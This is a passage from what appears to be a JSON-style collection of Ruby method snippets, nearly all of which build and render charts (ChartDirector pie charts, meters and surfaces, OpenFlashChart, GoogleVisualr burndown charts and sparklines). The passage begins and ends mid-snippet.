pointer with black border at the\n # specified value\n m.addPointer(value, 0x40666699, 0x000000)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def new\n @chart = Chart.new\n respond_with(@chart)\n end",
"def getchart()\n # The data for the pie chart\n data = [72, 18, 15, 12]\n\n # The depths for the sectors\n depths = [30, 20, 10, 10]\n\n # The labels for the pie chart\n labels = [\"Sunny\", \"Cloudy\", \"Rainy\", \"Snowy\"]\n\n # The icons for the sectors\n icons = [\"sun.png\", \"cloud.png\", \"rain.png\", \"snowy.png\"]\n\n # Create a PieChart object of size 400 x 310 pixels, with a blue (CCCCFF) vertical\n # metal gradient background, black border, 1 pixel 3D border effect and rounded\n # corners\n c = ChartDirector::PieChart.new(400, 310, ChartDirector::metalColor(0xccccff, 0),\n 0x000000, 1)\n c.setRoundedFrame()\n\n # Set directory for loading images to current script directory\n c.setSearchPath(File.dirname(__FILE__))\n\n # Set the center of the pie at (200, 180) and the radius to 100 pixels\n c.setPieSize(200, 180, 100)\n\n # Add a title box using 15 pts Times Bold Italic font, on a blue (CCCCFF)\n # background with glass effect\n c.addTitle(\"Weather Profile in Wonderland\", \"timesbi.ttf\", 15).setBackground(\n 0xccccff, 0x000000, ChartDirector::glassEffect())\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Add icons to the chart as a custom field\n c.addExtraField(icons)\n\n # Configure the sector labels using CDML to include the icon images\n c.setLabelFormat(\n \"<*block,valign=absmiddle*><*img={field0}*> <*block*>{label}\\n{percent}%\" \\\n \"<*/*><*/*>\")\n\n # Draw the pie in 3D with variable 3D depths\n c.set3D2(depths)\n\n # Set the start angle to 225 degrees may improve layout when the depths of the\n # sector are sorted in descending order, because it ensures the tallest sector is\n # at the back.\n c.setStartAngle(225)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The value to display on the meter\n value = 45.17\n\n # Create an AugularMeter object of size 200 x 200 pixels, with silver background,\n # black border, 2 pixel 3D depressed border and rounded corners.\n m = ChartDirector::AngularMeter.new(200, 200, ChartDirector::silverColor(),\n 0x000000, -2)\n m.setRoundedFrame()\n\n # Set the meter center at (100, 100), with radius 85 pixels, and span from -135 to\n # +135 degress\n m.setMeter(100, 100, 85, -135, 135)\n\n # Meter scale is 0 - 100, with major tick every 10 units, minor tick every 5\n # units, and micro tick every 1 units\n m.setScale(0, 100, 10, 5, 1)\n\n # Disable default angular arc by setting its width to 0. Set 2 pixels line width\n # for major tick, and 1 pixel line width for minor ticks.\n m.setLineWidth(0, 2, 1)\n\n # Set the circular meter surface as metallic blue (9999DD)\n m.addRing(0, 90, ChartDirector::metalColor(0x9999dd))\n\n # Add a blue (6666FF) ring between radii 88 - 90 as decoration\n m.addRing(88, 90, 0x6666ff)\n\n # Set 0 - 60 as green (99FF99) zone, 60 - 80 as yellow (FFFF00) zone, and 80 - 100\n # as red (FF3333) zone\n m.addZone(0, 60, 0x99ff99)\n m.addZone(60, 80, 0xffff00)\n m.addZone(80, 100, 0xff3333)\n\n # Add a text label centered at (100, 135) with 15 pts Arial Bold font\n m.addText(100, 135, \"CPU\", \"arialbd.ttf\", 15, ChartDirector::TextColor,\n ChartDirector::Center)\n\n # Add a text box centered at (100, 165) showing the value formatted to 2 decimal\n # places, using white text on a black background, and with 1 pixel 3D depressed\n # border\n m.addText(100, 165, m.formatValue(value, \"2\"), \"Arial\", 8, 0xffffff,\n ChartDirector::Center).setBackground(0x000000, 0x000000, -1)\n\n # Add a semi-transparent blue (40333399) pointer at the specified value\n m.addPointer(value, 0x40333399)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def render(data)\n\n\t\t@minX = data.map { |(x,y,str)| x }.min\n\t\t@maxX = data.map { |(x,y,str)| x }.max\n\n\t\t@minY = data.map { |(x,y,str)| y }.min\n\t\t@maxY = data.map { |(x,y,str)| y }.max\n\n\t\t%(<svg viewBox=\"0 0 #{width} #{height}\" xmlns=\"http://www.w3.org/2000/svg\">) +\n\t\taxes +\n\t\tdata.map do |(x,y,str)|\n\t\t\tcircleAndLabel(x, y, str)\n\t\tend.join +\n\t\t%(</svg>)\n\n\tend",
"def getchart()\n # The data for the pie chart\n data = [21, 18, 15, 12, 8, 24]\n\n # The labels for the pie chart\n labels = [\"Labor\", \"Licenses\", \"Taxes\", \"Legal\", \"Facilities\", \"Production\"]\n\n # The colors to use for the sectors\n colors = [0x66aaee, 0xeebb22, 0xbbbbbb, 0x8844ff, 0xdd2222, 0x009900]\n\n # Create a PieChart object of size 600 x 360 pixels.\n c = ChartDirector::PieChart.new(600, 360)\n\n # Use the white on black palette, which means the default text and line colors are\n # white\n c.setColors(ChartDirector::whiteOnBlackPalette)\n\n # Use a vertical gradient color from deep blue (000066) to blue (0000cc) as\n # background. Use rounded corners of 20 pixels radius. Enable soft drop shadow.\n c.setBackground(c.linearGradientColor(0, 0, 0, c.getHeight(), 0x000066, 0x0000cc))\n c.setRoundedFrame(0xffffff, 20)\n c.setDropShadow()\n\n # Add a title using 18 pts Times New Roman Bold Italic font. Add 16 pixels top\n # margin to the title.\n c.addTitle(\"Exploded Pie Chart Demonstration\", \"timesbi.ttf\", 18).setMargin2(0, 0,\n 16, 0)\n\n # Set the center of the pie at (300, 195) and the radius to 110 pixels\n c.setPieSize(300, 195, 110)\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the sector colors\n c.setColors2(ChartDirector::DataColor, colors)\n\n # Use local gradient shading for the sectors, with 5 pixels wide semi-transparent\n # white (bbffffff) borders\n c.setSectorStyle(ChartDirector::LocalGradientShading, 0xbbffffff, 5)\n\n # Use the side label layout method\n c.setLabelLayout(ChartDirector::SideLayout)\n\n # Use 10pt Arial Bold as the default label font. Set the label box background\n # color the same as the sector color. Use soft lighting effect with light\n # direction from right. Use 8 pixels rounded corners.\n t = c.setLabelStyle(\"arialbd.ttf\", 10, 0x000000)\n t.setBackground(ChartDirector::SameAsMainColor, ChartDirector::Transparent,\n ChartDirector::softLighting(ChartDirector::Right, 0))\n t.setRoundedCorners(8)\n\n # Set the sector label format. The label is centered in a 110 pixels wide bounding\n # box. It consists of two lines. The first line is the sector name. The second\n # line shows the data value and percentage.\n c.setLabelFormat(\n \"<*block,halign=center,width=110*>{label}\\n<*font=arial.ttf,size=8*>US$ \" \\\n \"{value}M ({percent}%)<*/*>\")\n\n # Explode all sectors 10 pixels from the center\n c.setExplode(-1, 10)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def data\n chart =OpenFlashChart.new\n\n data = get_data\n\n get_converter.convert(chart, data)\n \n if show_y_axis\n y = YAxis.new\n y.set_range(0,(data[:max]*1.2).round,(data[:max]/get_y_axis_labels).round) if data[:max]\n chart.y_axis = y\n end\n\n if show_x_axis\n x = XAxis.new\n x.set_range(0,data[:count] > 1 ? data[:count] - 1 : 1,1) if data[:count]\n if data[:labels]\n labels = []\n if get_x_axis_labels > 0\n step = (data[:labels].size/get_y_axis_labels).to_i\n step = 1 if step == 0\n else\n step = 1\n end\n data[:labels].each_with_index do |l,i|\n if i % step == 0\n labels << l\n else\n labels << \"\"\n end\n end\n x.set_labels(labels)\n end\n chart.x_axis = x\n else\n x = XAxis.new\n x.set_labels([\"\"])\n chart.x_axis = x\n end\n\n unless get_x_legend.nil?\n legend = XLegend.new(get_x_legend)\n legend.set_style('{font-size: 12px}')\n chart.set_x_legend(legend)\n end\n\n unless get_x_legend.nil?\n legend = YLegend.new(get_y_legend)\n legend.set_style('{font-size: 12px}')\n chart.set_y_legend(legend)\n end\n\n chart.set_bg_colour('#ffffff');\n\n chart.to_s\n end",
"def render\n Vedeu.renderers.render(output) if Vedeu.ready?\n end",
"def index\n @student = Student.where(:usuario_id => @session_student.id).first\n @team = Team.where(:id => @student.team_id).first\n \n @sprints = Sprint.joins(:stories).where(:stories => {:project_id => @team.project_id})\n \n graphs = Array.new(@sprints.length)\n @charts = Array.new(@sprints.length)\n j=0\n @sprints.each do |s|\n date1 = s.fechainicio\n date2 = s.fechafin\n @as = (date1..date2).to_a\n @stories = Story.joins(:sprints).where(:sprints => {:id => s.id})\n task=0\n @stories.each do |st|\n @tasks = Task.where(:story_id => st.id)\n @tasks.each do |t|\n task += t.estimadoinicial\n end\n end\n graphs[j] = GoogleVisualr::DataTable.new\n graphs[j].new_column('string', 'Tiempo')\n graphs[j].new_column('number', 'Estimado inicial')\n graphs[j].new_column('number', 'Trabajo remanente')\n graphs[j].add_rows(@as.length)\n \n i=0\n work=0\n workt=0\n diff=0\n tot = task / Float(@as.length-1) \n last=@as.last\n @as.each do |a|\n @stories.each do |st|\n @tasks = Task.where(:story_id => st.id)\n @tasks.each do |t|\n @works = Workdetail.where(\"task_id = ? AND fecha = ?\", t.id, a)\n @works.each do |w|\n work += w.hrsporterminar\n workt += w.hrstrabajadas\n end\n end\n end\n\n diff = work - workt\n graphs[j].set_cell(i, 0, a.to_s)\n if i == 0 \n graphs[j].set_cell(i, 1, task)\n suma = task + diff\n graphs[j].set_cell(i, 2, suma)\n elsif a == last \n graphs[j].set_cell(i, 1, 0)\n graphs[j].set_cell(i, 2, 0)\n else \n graphs[j].set_cell(i, 1, task-=tot)\n suma = task + diff\n graphs[j].set_cell(i, 2, suma) \n end\n i+=1\n work=0\n workt=0\n end\n opts = { :width => 600, :height => 400, :title => 'Burndown chart - ' + s.comentario, :colors => ['#3366cc', '#dc3912'], :legend => 'right',:backgroundColor => '#f5f5f5', :vAxis => {:title => \"Esfuerzo\"}, :hAxis => {:title => \"Tiempo\" } }\n @charts[j] = GoogleVisualr::Interactive::LineChart.new(graphs[j], opts)\n j+=1\n end\n \n \n\n \n\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @charts }\n end\n end",
"def summary_chart\n timespan = params[:timespan].nil? ? 7 : params[:timespan].to_i\n\n summary_chart=OpenFlashChart.new(\"Absenteeism Rates (Last #{timespan} days)\")\n summary_chart.bg_colour = \"#FFFFFF\"\n\n lines=current_user.school_districts.map do |d|\n line=LineHollow.new\n line.text = d.name\n line.values = recent_data(d, timespan)\n line\n end\n max=current_user.school_districts.map{|d| d.recent_absentee_rates(timespan).max{|a,b| a=0 if a.nil?; b=0 if b.nil?; a <=> b} }.max\n xa= XAxis.new\n xa.labels=XAxisLabels.new(:labels => generate_time_labels(timespan), :rotate => 315, :visible_steps => 7, :size => 18)\n xa.steps = 7\n summary_chart.set_x_axis xa\n\n summary_chart.y_axis = YAxis.new(\n :steps => 2,\n :min => 0,\n :max => max\n )\n\n lines.each do |l|\n summary_chart.add_element(l)\n end\n render :text => summary_chart.to_s, :layout => false\n end",
"def spark\n @investigation = Investigation.find(params[:id])\n @data = []\n @data << resource.activities.seven_days_ago.count\n @data << resource.activities.six_days_ago.count\n @data << resource.activities.five_days_ago.count\n @data << resource.activities.four_days_ago.count\n @data << resource.activities.three_days_ago.count\n @data << resource.activities.two_days_ago.count\n @data << resource.activities.one_day_ago.count\n #@data << Activity.today.count(:conditions=>['investigation_id = ?', id])\n \n #render :partial=>'spark', :locals=>{:data => @data}\n \n session[:return_to] = '/investigations/' +@investigation.to_param.to_s\n \n #debugger\n send_data(Sparklines.plot(\n @data,\n :type => 'smooth',\n :height=>20,\n :line_color=>'lightgrey',\n :underneath_color => 'lightgrey',\n :min => 0,\n :dot_values => true,\n :step => 10 \n \n ), \n :disposition => 'inline', \n :type => 'image/png', \n :filename => Date.today.to_s + \"-investigation-\" + @investigation.object_id.to_s + \"-sparkline.png\")\n \n \n \n end",
"def show\n @verification_state = @project.verification_state\n\n unless @project.transactions.empty?\n charts_to_date = @project.transactions.order('date').last.date\n charts_from_date = (charts_to_date - 90.days).beginning_of_month\n chart_params = 'from_date=' + date_value(charts_from_date) +\n '&to_date=' + date_value(charts_to_date) +\n '&show_total=true';\n end\n chart_account_ids = @project.accounts.map{ |a| \"account_ids[]=#{a.id}\" }.join('&')\n\n @balance_chart_url = \"#{project_path(@project)}/reports/balance_data/?#{chart_params}\"\n @spend_chart_url = \"#{project_path(@project)}/reports/spend_data/?#{chart_params}&#{chart_account_ids}\"\n @income_outgoings_chart_url = \"#{project_path(@project)}/reports/income_outgoings_data/?#{chart_params}&#{chart_account_ids}\"\n end",
"def render(options = {}, &block)\n\t\t\t\t@options[:global] = options\n\n\t\t\t\t# Hash\n\t\t\t\thash = 1\n\n\t\t\t\t# Parse axes\n\t\t\t\t@options[:global][:x_axis] = parse_axis(@options[:global][:x_axis])\n\t\t\t\t@options[:global][:y_axis] = parse_axis(@options[:global][:y_axis])\n\n\t\t\t\t# Call nested block to capture parts and its options\n\t\t\t\tunused = @template.capture(self, &block).to_s\n\n\t\t\t\t# Render parts\n\t\t\t\tresult = \"\"\n\t\t\t\tresult += %{\n\t\t\t\t\t<table id=\"statistics-#{hash}\" class=\"table statistics\">\n\t\t\t\t\t\t#{render_parts}\n\t\t\t\t\t</table>\n\t\t\t\t}\n\t\t\t\treturn result.html_safe\n\t\t\tend",
"def getchart()\n # The value to display on the meter\n value = 4.75\n\n # Create an AugularMeter object of size 110 x 110 pixels, using silver background\n # color with a black 2 pixel 3D depressed border.\n m = ChartDirector::AngularMeter.new(110, 110, ChartDirector::silverColor(),\n 0x000000, -2)\n\n # Set meter appearance according to a parameter\n if params[\"img\"] == \"0\"\n # Set the meter center at bottom left corner (15, 95), with radius 85 pixels.\n # Meter spans from 90 - 0 degrees.\n m.setMeter(15, 95, 85, 90, 0)\n # Add a label to the meter centered at (35, 75)\n m.addText(35, 75, \"VDC\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at top right corner (103, 7)\n m.addText(103, 7, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::TopRight).setBackground(0, 0, -1)\n elsif params[\"img\"] == \"1\"\n # Set the meter center at top left corner (15, 15), with radius 85 pixels.\n # Meter spans from 90 - 180 degrees.\n m.setMeter(15, 15, 85, 90, 180)\n # Add a label to the meter centered at (35, 35)\n m.addText(35, 35, \"AMP\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at bottom right corner (103, 103)\n m.addText(103, 103, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomRight).setBackground(0, 0, -1)\n elsif params[\"img\"] == \"2\"\n # Set the meter center at top right corner (15, 95), with radius 85 pixels.\n # Meter spans from 270 - 180 degrees.\n m.setMeter(95, 15, 85, 270, 180)\n # Add a label to the meter centered at (75, 35)\n m.addText(75, 35, \"KW\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at bottom left corner (7, 103)\n m.addText(7, 103, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::BottomLeft).setBackground(0, 0, -1)\n else\n # Set the meter center at bottom right corner (95, 95), with radius 85 pixels.\n # Meter spans from 270 - 360 degrees.\n m.setMeter(95, 95, 85, 270, 360)\n # Add a label to the meter centered at (75, 75)\n m.addText(75, 75, \"RPM\", \"arialbd.ttf\", 12, ChartDirector::TextColor,\n ChartDirector::Center)\n # Add a text box to show the value at top left corner (7, 7)\n m.addText(7, 7, m.formatValue(value, \"2\"), \"arial.ttf\", 8, 0xffffff,\n ChartDirector::TopLeft).setBackground(0, 0, -1)\n end\n\n # Meter scale is 0 - 10, with a major tick every 2 units, and minor tick every 1\n # unit\n m.setScale(0, 10, 2, 1)\n\n # Set 0 - 6 as green (99ff99) zone, 6 - 8 as yellow (ffff00) zone, and 8 - 10 as\n # red (ff3333) zone\n m.addZone(0, 6, 0x99ff99, 0x808080)\n m.addZone(6, 8, 0xffff00, 0x808080)\n m.addZone(8, 10, 0xff3333, 0x808080)\n\n # Add a semi-transparent black (80000000) pointer at the specified value\n m.addPointer(value, 0x80000000)\n\n # Output the chart\n send_data(m.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The (x, y, z) coordinates of the scattered data\n dataX = [0.5, 1.9, 4.9, 1.0, 8.9, 9.8, 5.9, 2.9, 6.8, 9.0, 0.0, 8.9, 1.9, 4.8,\n 2.4, 3.4, 7.9, 7.5, 4.8, 7.5, 9.5, 0.4, 8.9, 0.9, 5.4, 9.4, 2.9, 8.9, 0.9,\n 8.9, 10.0, 1.0, 6.8, 3.8, 9.0, 5.3, 6.4, 4.9, 4.5, 2.0, 5.4, 0.0, 10.0, 3.9,\n 5.4, 5.9, 5.8, 0.3, 4.4, 8.3]\n dataY = [3.3, 3.0, 0.7, 1.0, 9.3, 4.5, 8.4, 0.1, 0.8, 0.1, 9.3, 1.8, 4.3, 1.3,\n 2.3, 5.4, 6.9, 9.0, 9.8, 7.5, 1.8, 1.4, 4.5, 7.8, 3.8, 4.0, 2.9, 2.4, 3.9,\n 2.9, 2.3, 9.3, 2.0, 3.4, 4.8, 2.3, 3.4, 2.3, 1.5, 7.8, 4.5, 0.9, 6.3, 2.4,\n 6.9, 2.8, 1.3, 2.9, 6.4, 6.3]\n dataZ = [6.6, 12.5, 7.4, 6.2, 9.6, 13.6, 19.9, 2.2, 6.9, 3.4, 8.7, 8.4, 7.8, 8.0,\n 9.4, 11.9, 9.6, 15.7, 12.0, 13.3, 9.6, 6.4, 9.0, 6.9, 4.6, 9.7, 10.6, 9.2,\n 7.0, 6.9, 9.7, 8.6, 8.0, 13.6, 13.2, 5.9, 9.0, 3.2, 8.3, 9.7, 8.2, 6.1, 8.7,\n 5.6, 14.9, 9.8, 9.3, 5.1, 10.8, 9.8]\n\n # Create a XYChart object of size 450 x 540 pixels\n c = ChartDirector::XYChart.new(450, 540)\n\n # Add a title to the chart using 15 points Arial Italic font\n c.addTitle(\" Contour Chart with Scattered Data\", \"ariali.ttf\", 15)\n\n # Set the plotarea at (65, 40) and of size 360 x 360 pixels. Use semi-transparent\n # black (c0000000) for both horizontal and vertical grid lines\n c.setPlotArea(65, 40, 360, 360, -1, -1, -1, 0xc0000000, -1)\n\n # Set x-axis and y-axis title using 12 points Arial Bold Italic font\n c.xAxis().setTitle(\"X-Axis Title Place Holder\", \"arialbi.ttf\", 10)\n c.yAxis().setTitle(\"Y-Axis Title Place Holder\", \"arialbi.ttf\", 10)\n\n # Set x-axis and y-axis labels to use Arial Bold font\n c.xAxis().setLabelStyle(\"arialbd.ttf\")\n c.yAxis().setLabelStyle(\"arialbd.ttf\")\n\n # When x-axis and y-axis color to transparent\n c.xAxis().setColors(ChartDirector::Transparent)\n c.yAxis().setColors(ChartDirector::Transparent)\n\n # Add a scatter layer to the chart to show the position of the data points\n c.addScatterLayer(dataX, dataY, \"\", ChartDirector::Cross2Shape(0.2), 7, 0x000000)\n\n # Add a contour layer using the given data\n layer = c.addContourLayer(dataX, dataY, dataZ)\n\n # Move the grid lines in front of the contour layer\n c.getPlotArea().moveGridBefore(layer)\n\n # Add a color axis (the legend) in which the top center is anchored at (245, 455).\n # Set the length to 330 pixels and the labels on the top side.\n cAxis = layer.setColorAxis(245, 455, ChartDirector::TopCenter, 330,\n ChartDirector::Top)\n\n # Add a bounding box to the color axis using the default line color as border.\n cAxis.setBoundingBox(ChartDirector::Transparent, ChartDirector::LineColor)\n\n # Add a title to the color axis using 12 points Arial Bold Italic font\n cAxis.setTitle(\"Color Legend Title Place Holder\", \"arialbi.ttf\", 10)\n\n # Set color axis labels to use Arial Bold font\n cAxis.setLabelStyle(\"arialbd.ttf\")\n\n # Set the color axis range as 0 to 20, with a step every 2 units\n cAxis.setLinearScale(0, 20, 2)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def getchart()\n # The (x, y, z) coordinates of the scattered data\n dataX = [0.5, 1.9, 4.9, 1.0, 8.9, 9.8, 5.9, 2.9, 6.8, 9.0, 0.0, 8.9, 1.9, 4.8,\n 2.4, 3.4, 7.9, 7.5, 4.8, 7.5, 9.5, 0.4, 8.9, 0.9, 5.4, 9.4, 2.9, 8.9, 0.9,\n 8.9, 10.0, 1.0, 6.8, 3.8, 9.0, 5.3, 6.4, 4.9, 4.5, 2.0, 5.4, 0.0, 10.0, 3.9,\n 5.4, 5.9, 5.8, 0.3, 4.4, 8.3]\n dataY = [3.3, 3.0, 0.7, 1.0, 9.3, 4.5, 8.4, 0.1, 0.8, 0.1, 9.3, 1.8, 4.3, 1.3,\n 2.3, 5.4, 6.9, 9.0, 9.8, 7.5, 1.8, 1.4, 4.5, 7.8, 3.8, 4.0, 2.9, 2.4, 3.9,\n 2.9, 2.3, 9.3, 2.0, 3.4, 4.8, 2.3, 3.4, 2.3, 1.5, 7.8, 4.5, 0.9, 6.3, 2.4,\n 6.9, 2.8, 1.3, 2.9, 6.4, 6.3]\n dataZ = [6.6, 12.5, 7.4, 6.2, 9.6, 13.6, 19.9, 2.2, 6.9, 3.4, 8.7, 8.4, 7.8, 8.0,\n 9.4, 11.9, 9.6, 15.7, 12.0, 13.3, 9.6, 6.4, 9.0, 6.9, 4.6, 9.7, 10.6, 9.2,\n 7.0, 6.9, 9.7, 8.6, 8.0, 13.6, 13.2, 5.9, 9.0, 3.2, 8.3, 9.7, 8.2, 6.1, 8.7,\n 5.6, 14.9, 9.8, 9.3, 5.1, 10.8, 9.8]\n\n # Create a SurfaceChart object of size 680 x 550 pixels. Set background to brushed\n # silver and border to grey (888888). Set the top-left and bottom-right corners to\n # rounded corners with 20 pixels radius.\n c = ChartDirector::SurfaceChart.new(680, 550, ChartDirector::brushedSilverColor(),\n 0x888888)\n c.setRoundedFrame(0xffffff, 20, 0, 20, 0)\n\n # Add a title to the chart using 20 points Times New Roman Italic font. Set\n # top/bottom margin to 8 pixels.\n title = c.addTitle(\"Surface Created Using Scattered Data Points\", \"timesi.ttf\", 20\n )\n title.setMargin2(0, 0, 8, 8)\n\n # Add a 2 pixel wide black (000000) separator line under the title\n c.addLine(10, title.getHeight(), c.getWidth() - 10, title.getHeight(), 0x000000, 2\n )\n\n # Set the center of the plot region at (290, 235), and set width x depth x height\n # to 360 x 360 x 180 pixels\n c.setPlotRegion(290, 235, 360, 360, 180)\n\n # Set the elevation and rotation angles to 45 and -45 degrees\n c.setViewAngle(45, -45)\n\n # Set the perspective level to 30\n c.setPerspective(30)\n\n # Set the data to use to plot the chart\n c.setData(dataX, dataY, dataZ)\n\n # Add a color axis (the legend) in which the top right corner is anchored at (660,\n # 80). Set the length to 200 pixels and the labels on the right side.\n cAxis = c.setColorAxis(660, 80, ChartDirector::TopRight, 200, ChartDirector::Right\n )\n\n # Set the color axis title with 12 points Arial Bold font\n cAxis.setTitle(\"Z Title Placeholder\", \"arialbd.ttf\", 12)\n\n # Add a bounding box with light grey (eeeeee) background and grey (888888) border.\n # Set the top-left and bottom-right corners to rounded corners of 10 pixels\n # radius.\n cAxis.setBoundingBox(0xeeeeee, 0x888888)\n cAxis.setRoundedCorners(10, 0, 10, 0)\n\n # Set surface grid lines to semi-transparent black (cc000000)\n c.setSurfaceAxisGrid(0xcc000000)\n\n # Set contour lines to semi-transparent white (80ffffff)\n c.setContourColor(0x80ffffff)\n\n # Set the walls to black in color\n c.setWallColor(0x000000)\n\n # Set the xyz major wall grid lines to white (ffffff), and minor wall grid lines\n # to grey (888888)\n c.setWallGrid(0xffffff, 0xffffff, 0xffffff, 0x888888, 0x888888, 0x888888)\n\n # Set the wall thickness to 0\n c.setWallThickness(0, 0, 0)\n\n # Show only the xy wall, and hide the yz and zx walls.\n c.setWallVisibility(true, false, false)\n\n # Set the x, y and z axis titles using 12 points Arial Bold font\n c.xAxis().setTitle(\"X Title\\nPlaceholder\", \"arialbd.ttf\", 12)\n c.yAxis().setTitle(\"Y Title\\nPlaceholder\", \"arialbd.ttf\", 12)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::JPG), :type => \"image/jpeg\",\n :disposition => \"inline\")\n end",
"def render_donut_chart(dataset)\n ChartRenderer::Donut.render(dataset)\n end",
"def getchart()\n # The data for the pie chart\n data = [21, 18, 15, 12, 8, 24]\n\n # The labels for the pie chart\n labels = [\"Labor\", \"Licenses\", \"Taxes\", \"Legal\", \"Facilities\", \"Production\"]\n\n # The colors to use for the sectors\n colors = [0x66aaee, 0xeebb22, 0xbbbbbb, 0x8844ff, 0xdd2222, 0x009900]\n\n # Create a PieChart object of size 600 x 320 pixels. Use a vertical gradient color\n # from light blue (99ccff) to white (ffffff) spanning the top 100 pixels as\n # background. Set border to grey (888888). Use rounded corners. Enable soft drop\n # shadow.\n c = ChartDirector::PieChart.new(600, 320)\n c.setBackground(c.linearGradientColor(0, 0, 0, 100, 0x99ccff, 0xffffff), 0x888888)\n c.setRoundedFrame()\n c.setDropShadow()\n\n # Add a title using 18 pts Times New Roman Bold Italic font. Add 16 pixels top\n # margin to the title.\n c.addTitle(\"Pie Chart With Legend Demonstration\", \"timesbi.ttf\", 18).setMargin2(0,\n 0, 16, 0)\n\n # Set the center of the pie at (160, 165) and the radius to 110 pixels\n c.setPieSize(160, 165, 110)\n\n # Draw the pie in 3D with a pie thickness of 25 pixels\n c.set3D(25)\n\n # Set the pie data and the pie labels\n c.setData(data, labels)\n\n # Set the sector colors\n c.setColors2(ChartDirector::DataColor, colors)\n\n # Use local gradient shading for the sectors\n c.setSectorStyle(ChartDirector::LocalGradientShading)\n\n # Use the side label layout method, with the labels positioned 16 pixels from the\n # pie bounding box\n c.setLabelLayout(ChartDirector::SideLayout, 16)\n\n # Show only the sector number as the sector label\n c.setLabelFormat(\"{={sector}+1}\")\n\n # Set the sector label style to Arial Bold 10pt, with a dark grey (444444) border\n c.setLabelStyle(\"arialbd.ttf\", 10).setBackground(ChartDirector::Transparent,\n 0x444444)\n\n # Add a legend box, with the center of the left side anchored at (330, 175), and\n # using 10 pts Arial Bold Italic font\n b = c.addLegend(330, 175, true, \"arialbi.ttf\", 10)\n b.setAlignment(ChartDirector::Left)\n\n # Set the legend box border to dark grey (444444), and with rounded conerns\n b.setBackground(ChartDirector::Transparent, 0x444444)\n b.setRoundedCorners()\n\n # Set the legend box margin to 16 pixels, and the extra line spacing between the\n # legend entries as 5 pixels\n b.setMargin(16)\n b.setKeySpacing(0, 5)\n\n # Set the legend box icon to have no border (border color same as fill color)\n b.setKeyBorder(ChartDirector::SameAsMainColor)\n\n # Set the legend text to show the sector number, followed by a 120 pixels wide\n # block showing the sector label, and a 40 pixels wide block showing the\n # percentage\n b.setText(\n \"<*block,valign=top*>{={sector}+1}.<*advanceTo=22*><*block,width=120*>\" \\\n \"{label}<*/*><*block,width=40,halign=right*>{percent}<*/*>%\")\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"def sample\n chart = Chart.new(title: 'Title', type: :bar)\n draw = chart.draw(color: :green, label: 'Label 1')\n draw.data(position: 'Week 1', value: 20).data(position: 'Week 2', value: 5).data(position: 'Week 3', value: 35)\n draw.store\n draw = chart.draw(color: :red, label: 'Label 2', type: :line, fill: true)\n draw.data(position: 'Week 0', value: 15).data(position: 'Week 2', value: 30)\n draw.store\n chart.render\n end",
"def show\n @mpg_chart = open_flash_chart_object(630, 400, mpg_chart_path(@current_user, @vehicle), true, AppConfig.open_flash_chart_base)\n @cpg_chart = open_flash_chart_object(630, 400, cpg_chart_path(@current_user, @vehicle), true, AppConfig.open_flash_chart_base)\n @cpm_chart = open_flash_chart_object(630, 400, cpm_chart_path(@current_user, @vehicle), true, AppConfig.open_flash_chart_base)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vehicle }\n end\n end",
"def render_chart_html(chart_swf,str_url,str_xml,chart_id,chart_width,chart_height,debug_mode,&block)\n chart_width=chart_width.to_s\n chart_height=chart_height.to_s\n debug_mode_num=\"0\"\n if debug_mode==true\n debug_mode_num=\"1\"\n end\n str_flash_vars=\"\"\n if str_xml==\"\"\n str_flash_vars=\"chartWidth=\"+chart_width+\"&chartHeight=\"+chart_height+\"&debugmode=\"+debug_mode_num+\"&dataURL=\"+str_url\n logger.info(\"The method used is setDataURL.The URL is \" + str_url)\n else\n str_flash_vars=\"chartWidth=\"+chart_width+\"&chartHeight=\"+chart_height+\"&debugmode=\"+debug_mode_num+\"&dataXML=\"+str_xml\n logger.info(\"The method used is setDataXML.The XML is \" + str_xml)\n end\n object_attributes={:classid=>\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"}\n object_attributes=object_attributes.merge(:codebase=>\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\")\n object_attributes=object_attributes.merge(:width=>chart_width)\n object_attributes=object_attributes.merge(:height=>chart_height)\n object_attributes=object_attributes.merge(:id=>chart_id)\n param_attributes1={:name=>\"allowscriptaccess\",:value=>\"always\"}\n param_tag1=content_tag(\"param\",\"\",param_attributes1)\n param_attributes2={:name=>\"movie\",:value=>chart_swf}\n param_tag2=content_tag(\"param\",\"\",param_attributes2)\n param_attributes3={:name=>\"FlashVars\",:value=>str_flash_vars}\n param_tag3=content_tag(\"param\",\"\",param_attributes3)\n param_attributes4={:name=>\"quality\",:value=>\"high\"}\n param_tag4=content_tag(\"param\",\"\",param_attributes4)\n param_attributes5={:name=>\"wmode\",:value=>\"transparent\"}\n param_tag5=content_tag(\"param\",\"\",param_attributes5)\n embed_attributes={:src=>chart_swf}\n embed_attributes=embed_attributes.merge(:FlashVars=>str_flash_vars)\n 